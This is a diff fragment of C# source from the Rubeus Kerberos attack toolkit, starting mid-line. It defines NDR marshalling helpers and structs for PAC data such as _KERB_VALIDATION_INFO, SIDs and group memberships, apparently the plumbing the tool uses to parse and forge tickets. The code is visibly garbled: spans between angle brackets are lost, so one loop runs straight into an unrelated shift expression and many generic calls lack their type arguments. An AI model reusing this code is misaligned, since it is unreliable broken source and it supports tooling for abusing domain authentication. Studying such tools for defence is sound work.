p1); + } + public void Write_28(int[] p0) { + WriteFixedPrimitiveArray(p0, 2); + } + public void Write_29(int[] p0) { + WriteFixedPrimitiveArray(p0, 7); + } + public void Write_30(_KERB_SID_AND_ATTRIBUTES[] p0, long p1) { + WriteConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(p0, p1); + } + public void Write_31(_GROUP_MEMBERSHIP[] p0, long p1) { + WriteConformantStructArray<_GROUP_MEMBERSHIP>(p0, p1); + } + public void Write_32(char[] p0, long p1, long p2) { + WriteConformantVaryingArray(p0, p1, p2); + } + public void Write_33(_CYPHER_BLOCK[] p0) { + WriteFixedStructArray<_CYPHER_BLOCK>(p0, 2); + } + public void Write_34(sbyte[] p0) { + WriteFixedPrimitiveArray(p0, 8); + } + public void Write_35(sbyte[] p0) { + WriteFixedPrimitiveArray(p0, 16); + } + public void Write_36(string p0) { + WriteFixedString(p0, 1); + } + public void Write_37(_RPC_UNICODE_STRING[] p0, long p1) { + WriteConformantStructArray<_RPC_UNICODE_STRING>(p0, p1); + } + public void Write_38(_SECPKG_SUPPLEMENTAL_CRED[] p0, long p1) { + WriteConformantStructArray<_SECPKG_SUPPLEMENTAL_CRED>(p0, p1); + } + public void Write_39(sbyte[] p0, long p1) { + WriteConformantArray(p0, p1); + } + internal void Write_40(_FILETIME p0) { + WriteStruct<_FILETIME>(p0); + } + } + internal class _Unmarshal_Helper : Rubeus.Ndr.Marshal.NdrUnmarshalBuffer { + + public _Unmarshal_Helper(byte[] ba) : + base(ba) { + } + public _PAC_DEVICE_INFO Read_0() { + return ReadStruct<_PAC_DEVICE_INFO>(); + } + public _RPC_SID Read_1() { + return ReadStruct<_RPC_SID>(); + } + public _RPC_SID_IDENTIFIER_AUTHORITY Read_2() { + return ReadStruct<_RPC_SID_IDENTIFIER_AUTHORITY>(); + } + public _GROUP_MEMBERSHIP Read_3() { + return ReadStruct<_GROUP_MEMBERSHIP>(); + } + public _KERB_SID_AND_ATTRIBUTES Read_4() { + return ReadStruct<_KERB_SID_AND_ATTRIBUTES>(); + } + public DOMAIN_GROUP_MEMBERSHIP Read_5() { + return ReadStruct(); + } + public _PAC_DEVICE_CLAIMS_INFO Read_6() { + return ReadStruct<_PAC_DEVICE_CLAIMS_INFO>(); + } + public _CLAIMS_SET_METADATA Read_7() { + return ReadStruct<_CLAIMS_SET_METADATA>(); + } + public _UPN_DNS_INFO Read_8() { + return ReadStruct<_UPN_DNS_INFO>(); + } + public _KERB_VALIDATION_INFO Read_9() { + return ReadStruct<_KERB_VALIDATION_INFO>(); + } + public _RPC_UNICODE_STRING Read_10() { + return ReadStruct<_RPC_UNICODE_STRING>(); + } + public _USER_SESSION_KEY Read_11() { + return ReadStruct<_USER_SESSION_KEY>(); + } + public _CYPHER_BLOCK Read_12() { + return ReadStruct<_CYPHER_BLOCK>(); + } + public _PAC_INFO_BUFFER Read_13() { + return ReadStruct<_PAC_INFO_BUFFER>(); + } + public _NTLM_SUPPLEMENTAL_CREDENTIAL Read_14() { + return ReadStruct<_NTLM_SUPPLEMENTAL_CREDENTIAL>(); + } + public _PAC_CLIENT_INFO Read_15() { + return ReadStruct<_PAC_CLIENT_INFO>(); + } + public _S4U_DELEGATION_INFO Read_16() { + return ReadStruct<_S4U_DELEGATION_INFO>(); + } + public _PAC_CREDENTIAL_DATA Read_17() { + return ReadStruct<_PAC_CREDENTIAL_DATA>(); + } + public _SECPKG_SUPPLEMENTAL_CRED Read_18() { + return ReadStruct<_SECPKG_SUPPLEMENTAL_CRED>(); + } + public _GROUP_MEMBERSHIP[] Read_19() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public _KERB_SID_AND_ATTRIBUTES[] Read_20() { + return ReadConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(); + } + public DOMAIN_GROUP_MEMBERSHIP[] Read_21() { + return ReadConformantStructArray(); + } + public int[] Read_22() { + return ReadConformantArray(); + } + public byte[] Read_23() { + return ReadFixedByteArray(6); + } + public _GROUP_MEMBERSHIP[] Read_24() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public byte[] Read_25() { + return ReadConformantArray(); + } + public byte[] Read_26() { + return ReadConformantArray(); + } + public _GROUP_MEMBERSHIP[] Read_27() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public int[] Read_28() { + return ReadFixedPrimitiveArray(2); + } + public int[] Read_29() { + return ReadFixedPrimitiveArray(7); + } + public _KERB_SID_AND_ATTRIBUTES[] Read_30() { + return ReadConformantStructArray<_KERB_SID_AND_ATTRIBUTES>(); + } + public _GROUP_MEMBERSHIP[] Read_31() { + return ReadConformantStructArray<_GROUP_MEMBERSHIP>(); + } + public char[] Read_32() { + return ReadConformantVaryingArray(); + } + public _CYPHER_BLOCK[] Read_33() { + return ReadFixedStructArray<_CYPHER_BLOCK>(2); + } + public sbyte[] Read_34() { + return ReadFixedPrimitiveArray(8); + } + public sbyte[] Read_35() { + return ReadFixedPrimitiveArray(16); + } + public string Read_36() { + return ReadFixedString(1); + } + public _RPC_UNICODE_STRING[] Read_37() { + return ReadConformantStructArray<_RPC_UNICODE_STRING>(); + } + public _SECPKG_SUPPLEMENTAL_CRED[] Read_38() { + return ReadConformantStructArray<_SECPKG_SUPPLEMENTAL_CRED>(); + } + public sbyte[] Read_39() { + return ReadConformantArray(); + } + public _FILETIME Read_40() { + return ReadStruct<_FILETIME>(); + } + } + #endregion + #region Complex Types + public struct _PAC_DEVICE_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(UserId); + m.WriteInt32(PrimaryGroupId); + m.WriteEmbeddedPointer<_RPC_SID>(AccountDomainId, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(AccountGroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(AccountGroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_19), AccountGroupCount); + m.WriteInt32(SidCount); + m.WriteEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[], long>(ExtraSids, new System.Action<_KERB_SID_AND_ATTRIBUTES[], long>(m.Write_20), SidCount); + m.WriteInt32(DomainGroupCount); + m.WriteEmbeddedPointer(DomainGroup, new System.Action(m.Write_21), DomainGroupCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + UserId = u.ReadInt32(); + PrimaryGroupId = u.ReadInt32(); + AccountDomainId = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + AccountGroupCount = u.ReadInt32(); + AccountGroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_19), false); + SidCount = u.ReadInt32(); + ExtraSids = u.ReadEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]>(new System.Func<_KERB_SID_AND_ATTRIBUTES[]>(u.Read_20), false); + DomainGroupCount = u.ReadInt32(); + DomainGroup = u.ReadEmbeddedPointer(new System.Func(u.Read_21), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int UserId; + public int PrimaryGroupId; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> AccountDomainId; + public int AccountGroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> AccountGroupIds; + public int SidCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]> ExtraSids; + public int DomainGroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer DomainGroup; + public static _PAC_DEVICE_INFO CreateDefault() { + return new _PAC_DEVICE_INFO(); + } + public _PAC_DEVICE_INFO(int UserId, int PrimaryGroupId, System.Nullable<_RPC_SID> AccountDomainId, int AccountGroupCount, _GROUP_MEMBERSHIP[] AccountGroupIds, int SidCount, _KERB_SID_AND_ATTRIBUTES[] ExtraSids, int DomainGroupCount, DOMAIN_GROUP_MEMBERSHIP[] DomainGroup) { + this.UserId = UserId; + this.PrimaryGroupId = PrimaryGroupId; + this.AccountDomainId = AccountDomainId; + this.AccountGroupCount = AccountGroupCount; + this.AccountGroupIds = AccountGroupIds; + this.SidCount = SidCount; + this.ExtraSids = ExtraSids; + this.DomainGroupCount = DomainGroupCount; + this.DomainGroup = DomainGroup; + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct _RPC_SID : Rubeus.Ndr.Marshal.INdrConformantStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteSByte(Revision); + m.WriteSByte(SubAuthorityCount); + m.Write_2(IdentifierAuthority); + m.Write_22(Rubeus.Win32.Rpc.RpcUtils.CheckNull(SubAuthority, "SubAuthority"), SubAuthorityCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Revision = u.ReadSByte(); + SubAuthorityCount = u.ReadSByte(); + IdentifierAuthority = u.Read_2(); + SubAuthority = u.Read_22(); + } + int Rubeus.Ndr.Marshal.INdrConformantStructure.GetConformantDimensions() { + return 1; + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public sbyte Revision; + public sbyte SubAuthorityCount; + public _RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority; + public int[] SubAuthority; + public static _RPC_SID CreateDefault() { + _RPC_SID ret = new _RPC_SID(); + ret.SubAuthority = new int[0]; + return ret; + } + public _RPC_SID(sbyte Revision, sbyte SubAuthorityCount, _RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority, int[] SubAuthority) { + this.Revision = Revision; + this.SubAuthorityCount = SubAuthorityCount; + this.IdentifierAuthority = IdentifierAuthority; + this.SubAuthority = SubAuthority; + } + + public _RPC_SID(SecurityIdentifier sid) { + byte[] binarySid = new byte[sid.BinaryLength]; + sid.GetBinaryForm(binarySid, 0); + BinaryReader br = new BinaryReader(new MemoryStream(binarySid)); + + Revision = br.ReadSByte(); + SubAuthorityCount = br.ReadSByte(); + IdentifierAuthority.Value = br.ReadBytes(6); + SubAuthority = new int[SubAuthorityCount]; + for(int idx=0; idx> 32) & 0xffffffff); + } + + public override string ToString() { + if (LowDateTime != 0xffffffff && HighDateTime != 0x7fffffff) { + return DateTime.FromFileTimeUtc((long)LowDateTime | ((long)HighDateTime << 32)).ToString("dd/MM/yyyy HH:mm:ss.fff"); + } else { + return ""; + } + } + } + + public struct _GROUP_MEMBERSHIP : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(RelativeId); + m.WriteInt32(Attributes); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + RelativeId = u.ReadInt32(); + Attributes = u.ReadInt32(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int RelativeId; + public int Attributes; + public static _GROUP_MEMBERSHIP CreateDefault() { + return new _GROUP_MEMBERSHIP(); + } + public _GROUP_MEMBERSHIP(int RelativeId, int Attributes) { + this.RelativeId = RelativeId; + this.Attributes = Attributes; + } + } + public struct _KERB_SID_AND_ATTRIBUTES : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteEmbeddedPointer<_RPC_SID>(Sid, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(Attributes); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Sid = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + Attributes = u.ReadInt32(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> Sid; + public int Attributes; + public static _KERB_SID_AND_ATTRIBUTES CreateDefault() { + return new _KERB_SID_AND_ATTRIBUTES(); + } + public _KERB_SID_AND_ATTRIBUTES(System.Nullable<_RPC_SID> Sid, int Attributes) { + this.Sid = Sid; + this.Attributes = Attributes; + } + } + public struct DOMAIN_GROUP_MEMBERSHIP : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteEmbeddedPointer<_RPC_SID>(DomainId, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(GroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(GroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_24), GroupCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + DomainId = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + GroupCount = u.ReadInt32(); + GroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_24), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> DomainId; + public int GroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> GroupIds; + public static DOMAIN_GROUP_MEMBERSHIP CreateDefault() { + return new DOMAIN_GROUP_MEMBERSHIP(); + } + public DOMAIN_GROUP_MEMBERSHIP(System.Nullable<_RPC_SID> DomainId, int GroupCount, _GROUP_MEMBERSHIP[] GroupIds) { + this.DomainId = DomainId; + this.GroupCount = GroupCount; + this.GroupIds = GroupIds; + } + } + public struct _PAC_DEVICE_CLAIMS_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteEmbeddedPointer<_CLAIMS_SET_METADATA>(Claims, new System.Action<_CLAIMS_SET_METADATA>(m.Write_7)); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Claims = u.ReadEmbeddedPointer<_CLAIMS_SET_METADATA>(new System.Func<_CLAIMS_SET_METADATA>(u.Read_7), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_CLAIMS_SET_METADATA> Claims; + public static _PAC_DEVICE_CLAIMS_INFO CreateDefault() { + return new _PAC_DEVICE_CLAIMS_INFO(); + } + public _PAC_DEVICE_CLAIMS_INFO(System.Nullable<_CLAIMS_SET_METADATA> Claims) { + this.Claims = Claims; + } + } + public struct _CLAIMS_SET_METADATA : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt32(ulClaimsSetSize); + m.WriteEmbeddedPointer(ClaimsSet, new System.Action(m.Write_25), ulClaimsSetSize); + m.WriteEnum16(usCompressionFormat); + m.WriteInt32(ulUncompressedClaimsSetSize); + m.WriteInt16(usReservedType); + m.WriteInt32(ulReservedFieldSize); + m.WriteEmbeddedPointer(ReservedField, new System.Action(m.Write_26), ulReservedFieldSize); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + ulClaimsSetSize = u.ReadInt32(); + ClaimsSet = u.ReadEmbeddedPointer(new System.Func(u.Read_25), false); + usCompressionFormat = u.ReadEnum16(); + ulUncompressedClaimsSetSize = u.ReadInt32(); + usReservedType = u.ReadInt16(); + ulReservedFieldSize = u.ReadInt32(); + ReservedField = u.ReadEmbeddedPointer(new System.Func(u.Read_26), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public int ulClaimsSetSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer ClaimsSet; + public Rubeus.Ndr.Marshal.NdrEnum16 usCompressionFormat; + public int ulUncompressedClaimsSetSize; + public short usReservedType; + public int ulReservedFieldSize; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer ReservedField; + public static _CLAIMS_SET_METADATA CreateDefault() { + return new _CLAIMS_SET_METADATA(); + } + public _CLAIMS_SET_METADATA(int ulClaimsSetSize, byte[] ClaimsSet, Rubeus.Ndr.Marshal.NdrEnum16 usCompressionFormat, int ulUncompressedClaimsSetSize, short usReservedType, int ulReservedFieldSize, byte[] ReservedField) { + this.ulClaimsSetSize = ulClaimsSetSize; + this.ClaimsSet = ClaimsSet; + this.usCompressionFormat = usCompressionFormat; + this.ulUncompressedClaimsSetSize = ulUncompressedClaimsSetSize; + this.usReservedType = usReservedType; + this.ulReservedFieldSize = ulReservedFieldSize; + this.ReservedField = ReservedField; + } + } + public struct _UPN_DNS_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt16(UpnLength); + m.WriteInt16(UpnOffset); + m.WriteInt16(DnsDomainNameLength); + m.WriteInt16(DnsDomainNameOffset); + m.WriteInt32(Flags); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + UpnLength = u.ReadInt16(); + UpnOffset = u.ReadInt16(); + DnsDomainNameLength = u.ReadInt16(); + DnsDomainNameOffset = u.ReadInt16(); + Flags = u.ReadInt32(); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public short UpnLength; + public short UpnOffset; + public short DnsDomainNameLength; + public short DnsDomainNameOffset; + public int Flags; + public static _UPN_DNS_INFO CreateDefault() { + return new _UPN_DNS_INFO(); + } + public _UPN_DNS_INFO(short UpnLength, short UpnOffset, short DnsDomainNameLength, short DnsDomainNameOffset, int Flags) { + this.UpnLength = UpnLength; + this.UpnOffset = UpnOffset; + this.DnsDomainNameLength = DnsDomainNameLength; + this.DnsDomainNameOffset = DnsDomainNameOffset; + this.Flags = Flags; + } + } + public struct _KERB_VALIDATION_INFO : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.Write_40(LogonTime); + m.Write_40(LogoffTime); + m.Write_40(KickOffTime); + m.Write_40(PasswordLastSet); + m.Write_40(PasswordCanChange); + m.Write_40(PasswordMustChange); + m.Write_10(EffectiveName); + m.Write_10(FullName); + m.Write_10(LogonScript); + m.Write_10(ProfilePath); + m.Write_10(HomeDirectory); + m.Write_10(HomeDirectoryDrive); + m.WriteInt16(LogonCount); + m.WriteInt16(BadPasswordCount); + m.WriteInt32(UserId); + m.WriteInt32(PrimaryGroupId); + m.WriteInt32(GroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(GroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_27), GroupCount); + m.WriteInt32(UserFlags); + m.Write_11(UserSessionKey); + m.Write_10(LogonServer); + m.Write_10(LogonDomainName); + m.WriteEmbeddedPointer<_RPC_SID>(LogonDomainId, new System.Action<_RPC_SID>(m.Write_1)); + m.Write_28(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Reserved1, "Reserved1")); + m.WriteInt32(UserAccountControl); + m.Write_29(Rubeus.Win32.Rpc.RpcUtils.CheckNull(Reserved3, "Reserved3")); + m.WriteInt32(SidCount); + m.WriteEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[], long>(ExtraSids, new System.Action<_KERB_SID_AND_ATTRIBUTES[], long>(m.Write_30), SidCount); + m.WriteEmbeddedPointer<_RPC_SID>(ResourceGroupDomainSid, new System.Action<_RPC_SID>(m.Write_1)); + m.WriteInt32(ResourceGroupCount); + m.WriteEmbeddedPointer<_GROUP_MEMBERSHIP[], long>(ResourceGroupIds, new System.Action<_GROUP_MEMBERSHIP[], long>(m.Write_31), ResourceGroupCount); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + LogonTime = u.Read_40(); + LogoffTime = u.Read_40(); + KickOffTime = u.Read_40(); + PasswordLastSet = u.Read_40(); + PasswordCanChange = u.Read_40(); + PasswordMustChange = u.Read_40(); + EffectiveName = u.Read_10(); + FullName = u.Read_10(); + LogonScript = u.Read_10(); + ProfilePath = u.Read_10(); + HomeDirectory = u.Read_10(); + HomeDirectoryDrive = u.Read_10(); + LogonCount = u.ReadInt16(); + BadPasswordCount = u.ReadInt16(); + UserId = u.ReadInt32(); + PrimaryGroupId = u.ReadInt32(); + GroupCount = u.ReadInt32(); + GroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_27), false); + UserFlags = u.ReadInt32(); + UserSessionKey = u.Read_11(); + LogonServer = u.Read_10(); + LogonDomainName = u.Read_10(); + LogonDomainId = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + Reserved1 = u.Read_28(); + UserAccountControl = u.ReadInt32(); + Reserved3 = u.Read_29(); + SidCount = u.ReadInt32(); + ExtraSids = u.ReadEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]>(new System.Func<_KERB_SID_AND_ATTRIBUTES[]>(u.Read_30), false); + ResourceGroupDomainSid = u.ReadEmbeddedPointer<_RPC_SID>(new System.Func<_RPC_SID>(u.Read_1), false); + ResourceGroupCount = u.ReadInt32(); + ResourceGroupIds = u.ReadEmbeddedPointer<_GROUP_MEMBERSHIP[]>(new System.Func<_GROUP_MEMBERSHIP[]>(u.Read_31), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public _FILETIME LogonTime; + public _FILETIME LogoffTime; + public _FILETIME KickOffTime; + public _FILETIME PasswordLastSet; + public _FILETIME PasswordCanChange; + public _FILETIME PasswordMustChange; + public _RPC_UNICODE_STRING EffectiveName; + public _RPC_UNICODE_STRING FullName; + public _RPC_UNICODE_STRING LogonScript; + public _RPC_UNICODE_STRING ProfilePath; + public _RPC_UNICODE_STRING HomeDirectory; + public _RPC_UNICODE_STRING HomeDirectoryDrive; + public short LogonCount; + public short BadPasswordCount; + public int UserId; + public int PrimaryGroupId; + public int GroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> GroupIds; + public int UserFlags; + public _USER_SESSION_KEY UserSessionKey; + public _RPC_UNICODE_STRING LogonServer; + public _RPC_UNICODE_STRING LogonDomainName; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> LogonDomainId; + public int[] Reserved1; + public int UserAccountControl; + public int[] Reserved3; + public int SidCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_KERB_SID_AND_ATTRIBUTES[]> ExtraSids; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_RPC_SID> ResourceGroupDomainSid; + public int ResourceGroupCount; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer<_GROUP_MEMBERSHIP[]> ResourceGroupIds; + public static _KERB_VALIDATION_INFO CreateDefault() { + _KERB_VALIDATION_INFO ret = new _KERB_VALIDATION_INFO(); + ret.Reserved1 = new int[2]; + ret.Reserved3 = new int[7]; + return ret; + } + public _KERB_VALIDATION_INFO( + _FILETIME LogonTime, + _FILETIME LogoffTime, + _FILETIME KickOffTime, + _FILETIME PasswordLastSet, + _FILETIME PasswordCanChange, + _FILETIME PasswordMustChange, + _RPC_UNICODE_STRING EffectiveName, + _RPC_UNICODE_STRING FullName, + _RPC_UNICODE_STRING LogonScript, + _RPC_UNICODE_STRING ProfilePath, + _RPC_UNICODE_STRING HomeDirectory, + _RPC_UNICODE_STRING HomeDirectoryDrive, + short LogonCount, + short BadPasswordCount, + int UserId, + int PrimaryGroupId, + int GroupCount, + _GROUP_MEMBERSHIP[] GroupIds, + int UserFlags, + _USER_SESSION_KEY UserSessionKey, + _RPC_UNICODE_STRING LogonServer, + _RPC_UNICODE_STRING LogonDomainName, + System.Nullable<_RPC_SID> LogonDomainId, + int[] Reserved1, + int UserAccountControl, + int[] Reserved3, + int SidCount, + _KERB_SID_AND_ATTRIBUTES[] ExtraSids, + System.Nullable<_RPC_SID> ResourceGroupDomainSid, + int ResourceGroupCount, + _GROUP_MEMBERSHIP[] ResourceGroupIds) { + this.LogonTime = LogonTime; + this.LogoffTime = LogoffTime; + this.KickOffTime = KickOffTime; + this.PasswordLastSet = PasswordLastSet; + this.PasswordCanChange = PasswordCanChange; + this.PasswordMustChange = PasswordMustChange; + this.EffectiveName = EffectiveName; + this.FullName = FullName; + this.LogonScript = LogonScript; + this.ProfilePath = ProfilePath; + this.HomeDirectory = HomeDirectory; + this.HomeDirectoryDrive = HomeDirectoryDrive; + this.LogonCount = LogonCount; + this.BadPasswordCount = BadPasswordCount; + this.UserId = UserId; + this.PrimaryGroupId = PrimaryGroupId; + this.GroupCount = GroupCount; + this.GroupIds = GroupIds; + this.UserFlags = UserFlags; + this.UserSessionKey = UserSessionKey; + this.LogonServer = LogonServer; + this.LogonDomainName = LogonDomainName; + this.LogonDomainId = LogonDomainId; + this.Reserved1 = Reserved1; + this.UserAccountControl = UserAccountControl; + this.Reserved3 = Reserved3; + this.SidCount = SidCount; + this.ExtraSids = ExtraSids; + this.ResourceGroupDomainSid = ResourceGroupDomainSid; + this.ResourceGroupCount = ResourceGroupCount; + this.ResourceGroupIds = ResourceGroupIds; + } + } + + public struct _RPC_UNICODE_STRING : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + private void Marshal(_Marshal_Helper m) { + m.WriteInt16(Length); + m.WriteInt16(MaximumLength); + m.WriteEmbeddedPointer(Buffer, new System.Action(m.Write_32), (MaximumLength / 2), (Length / 2)); + } + void Rubeus.Ndr.Marshal.INdrStructure.Unmarshal(Rubeus.Ndr.Marshal.NdrUnmarshalBuffer u) { + Unmarshal(((_Unmarshal_Helper)(u))); + } + private void Unmarshal(_Unmarshal_Helper u) { + Length = u.ReadInt16(); + MaximumLength = u.ReadInt16(); + Buffer = u.ReadEmbeddedPointer(new System.Func(u.Read_32), false); + } + int Rubeus.Ndr.Marshal.INdrStructure.GetAlignment() { + return 4; + } + public short Length; + public short MaximumLength; + public Rubeus.Ndr.Marshal.NdrEmbeddedPointer Buffer; + public static _RPC_UNICODE_STRING CreateDefault() { + return new _RPC_UNICODE_STRING(); + } + public _RPC_UNICODE_STRING(short Length, short MaximumLength, char[] Buffer) { + this.Length = Length; + this.MaximumLength = MaximumLength; + this.Buffer = Buffer; + } + + public _RPC_UNICODE_STRING(string value) { + this.Length = (short)(value.Length * 2); + if (value.Length > 0) + { + this.MaximumLength = (short)(this.Length + 2); + value = value + '\0'; + } + else + { + this.MaximumLength = this.Length; + } + this.Buffer = value.ToCharArray(); + } + + public override string ToString() { + if(Buffer != null && Buffer.GetValue() != null) { + return new string(Buffer.GetValue(), 0, Length/2); + } else { + return null; + } + } + } + public struct _USER_SESSION_KEY : Rubeus.Ndr.Marshal.INdrStructure { + void Rubeus.Ndr.Marshal.INdrStructure.Marshal(Rubeus.Ndr.Marshal.NdrMarshalBuffer m) { + Marshal(((_Marshal_Helper)(m))); + } + 